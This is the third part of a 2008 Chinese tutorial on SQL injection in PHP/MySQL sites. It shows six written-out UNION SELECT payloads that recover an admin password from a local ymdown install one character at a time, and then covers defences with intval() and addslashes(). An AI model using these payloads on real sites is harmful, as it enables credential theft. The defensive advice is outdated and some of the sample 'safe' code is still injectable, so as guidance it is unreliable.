SQL Injection with MySQL(3)

日期:2008-06-26  作者:喜騰小二  來源:PHPChina


驗證測試結果

  整個滲透過程就結束了,不過由於黑白把入口給改了,無法登陸,但我們僅僅測試注入,目的已經達到了,就沒有必要進後臺了,我後來又繼續構造SQL陳述式來驗證我們獲取的密碼是否正確,依次提交:

http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
#驗證第一位密碼
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50
#驗證第二位密碼
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
#驗證第三位密碼
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,4,1))=52
#驗證第四位密碼
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,5,1))=53
#驗證第五位密碼
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,6,1))=54
#驗證第六位密碼

  用select char(49,50,51,52,53,54)就可以得到123456。
  OK!測試結束,驗證我們的結果沒有錯誤。幫助一下,密碼本身是123456,可以不用ord()函式而直接猜,但為了大家能看到一個完整的過程,我還是“專業”一點好了。下麵補一幅截圖,是本文寫完後,重新測試HB時截取的:

注入的防範

  防範可以從兩個方麵着手,一個就是伺服器,二個就是程式碼本身,介紹伺服器配置的文章很多了,無非就是把magic_quotes_gpc設定為 On,display_errors設定為Off,這裡也就不在多說,既然本文接觸都是程式的問題,我們還是從程式本身尋找原因。
  如果說php比asp易用,安全,從內建的函式就可以體現出來。如果是整形的變數,隻需使用一個intval()函式即可解決問題,在執行查詢之前,我們先處理一下變數,如下麵的例子就是很安全的了:

$id = intval($id);
mysql_query("SELECT * FROM article WHERE articleid='$id'");

  或者這樣寫:

mysql_query("SELECT * FROM article WHERE articleid=".intval($id)."")

  不管如何構造,最終還是會先轉換為整形猜放入資料庫的。很多大型程式都是這樣寫,非常簡潔。
  字串形的變數也可以用addslashes()整個內建函式了,這個函式的作用和magic_quotes_gpc一樣,使用後,所有的 ‘ (單引號), ” (雙引號), (反斜線) and 空字元會自動轉為含有反斜線的溢位字元。而且新版本的php,就算magic_quotes_gpc開啟了,再使用addslashes()函式,也不會有衝突,可以放心使用。例子如下:

$username = addslashes($username);
mysql_query("SELECT * FROM members WHERE userid='$username'");

  或者這樣寫:

mysql_query("SELECT * FROM members WHERE userid=".addslashes($username)."")

  使用addslashes()函式還可以避免引號配對錯誤的情況出現。而剛才的前麵搜尋引擎的修補方法就是直接把“_”、“%”轉換為“\_”“\%”就可以了,當然也不要忘記使用addslashes()函式。俱體程式碼如下:

$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);

  不用像ASP那樣,篩選一點變數,就要寫一大堆的程式碼,就是上麵的一點點程式碼,我們就可以把本文所有的問題解決了,是不是很簡便?

後記

  這篇文章是我自2004年3月份以來利用課餘時間學習研究的,5月中旬寫完,裡麵的所有東西都是經過我親自測試的,本文僅僅算是技術總結吧,還有很多技術難點沒有解決的,因此錯漏是難免的,歡迎請大家指正。
  還有不少危險性極高的東西,只要少數條件成立,一般都可以進入伺服器,考慮到嚴重性和廣泛性,我並沒有寫出來,我個人估計,不久將會出現 PHP+MYSQL注入的一係列工俱,技術也會普及和告訴發展。但我建議大家一定要弄清楚原理,工俱隻是武器,技術才是靈魂,工俱隻是提高效率罷了,並不代表妳的技術高超。
  大家看到這篇文章的時候,估計我已經高考完了,暑假我會寫一篇更深入的研究。
  為了讓更多人瞭解並掌握PHP+MYSQL的注入技術,我才寫了這篇文章,並決定發表,再重申一次。不要對任何國家的任何合法主機進行破壞,否則後果自負。

<<<返回技術中心

技術文章

站內新聞

我要啦免费统计